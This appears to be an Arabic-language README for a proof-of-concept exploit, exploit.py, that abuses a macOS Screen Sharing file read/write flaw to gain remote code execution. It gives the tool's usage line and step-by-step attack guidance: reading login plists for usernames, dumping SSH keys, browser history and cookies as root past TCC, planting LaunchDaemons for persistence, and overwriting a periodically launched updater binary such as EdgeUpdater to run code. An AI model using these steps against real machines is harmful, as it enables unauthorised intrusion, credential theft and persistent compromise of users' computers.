
قراءة/كتابة ملفات عشوائية في مشاركة شاشة Apple MacOS -> RCE
لأول مرة منذ فترة، لدينا ثغرة RCE على نظام MacOS.
اكتُشفت في الأصل بواسطة @osxreverser، ثم وُسّعت لاحقًا بواسطة bynar.io. انظر https://blog.calif.io/p/no-country-for-old-passwords لمزيد من المعلومات.
هذا مستمد في الغالب من عمل @panchocosil (حسنًا، من Claude...)، الذي نشر PoC للقراءة فقط. يبدو أن المستودع الخاص بـ @HORKimhab هو نوعًا ما كلام فارغ، خاصة أن get-svn.sh يبدو وكأنه محاولة لهجوم على سلسلة التوريد في مرحلة لاحقة.
على أي حال، تمكّنت من جعل الكتابة تعمل، ومن ذلك حصلت على RCE.
usage: exploit.py [-h] [-w LOCAL] [-m MODE] [-p PORT] [-u USER] [-r RETRIES] [-t TIMEOUT] [-o FILE] ip [path]
-o لكتابة الملف المقروء إلى ملف محلي. مفيد للملفات الثنائية-w لكتابة ملف محلي إلى [path].ممكن إلى حد ما. على نظام MacOS، تشغيل عملية القراءة (read) على مجلد (وليس على ملف) يفرغ المحتوى الخام للمجلد (كل ملف بداخله). لذلك عدم القدرة على سرد الملفات ليست مشكلة.
إذن أولًا بعض الاستطلاع. python3 exploit.py <ip_addr> /Library/Preferences/com.apple.loginwindow.plist يعطيك اسم المستخدم للمستخدمين المسجلين الداخلين. بعد ذلك، يمكنك قراءة /User/<username>/.ssh/ وتأمل أن يكون ssh مفعلًا أيضًا (عادةً عندما يكون VNC مفعلًا، يكون SSH كذلك).
بما أن القراءة تتم بصلاحيات root وتتجاهل TCC (على حد فهمي)، يمكنك مباشرة تفريغ سجلات التصفح و(ربما؟) ملفات تعريف الارتباط. عادةً ما يكون ذلك كافيًا.
في كل الحالات، يمكنك الكتابة إلى /Library/LaunchDaemons/ وانتظار إعادة التشغيل. عندها ستحصل على استمرارية (persistence). لكن بالطبع نحن غير صبورين، لذلك توجد طرق أفضل.
غالبًا ما توجد سجلات موجودة مسبقًا يمكنك استبدالها، على سبيل المثال: /Library/PrivilegedHelperTools/com.microsoft.autoupdate.helper, us.zoom.ZoomDaemon, وcom.microsoft.teams.TeamsUpdaterDaemon من الشائع رؤيتها مثبتة.
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>AbandonProcessGroup</key>
<true/>
<key>Label</key>
<string>com.microsoft.EdgeUpdater.wake.system</string>
<key>LimitLoadToSessionType</key>
<string>System</string>
<key>ProgramArguments</key>
<array>
<string>/Library/Application Support/Microsoft/EdgeUpdater/Current/EdgeUpdater.app/Contents/MacOS/EdgeUpdater</string>
<string>--wake-all</string>
<string>--enable-logging</string>
<string>--vmodule=*/components/update_client/*=2,*/chrome/updater/*=2</string>
<string>--system</string>
</array>
<key>StartInterval</key>
<integer>3600</integer>
</dict>
</plist>
بالنظر إلى هذا، نرى أن الملف الثنائي في /Library/Application Support/Microsoft/EdgeUpdater/Current/EdgeUpdater.app/Contents/MacOS/EdgeUpdater يتم تشغيله على فاصل زمني محدد.
يمكننا بعد ذلك استبدال هذا الملف الثنائي، وحتى دون الحاجة للتعامل مع launchctl، نحصل على RCE!
شيء ممتع.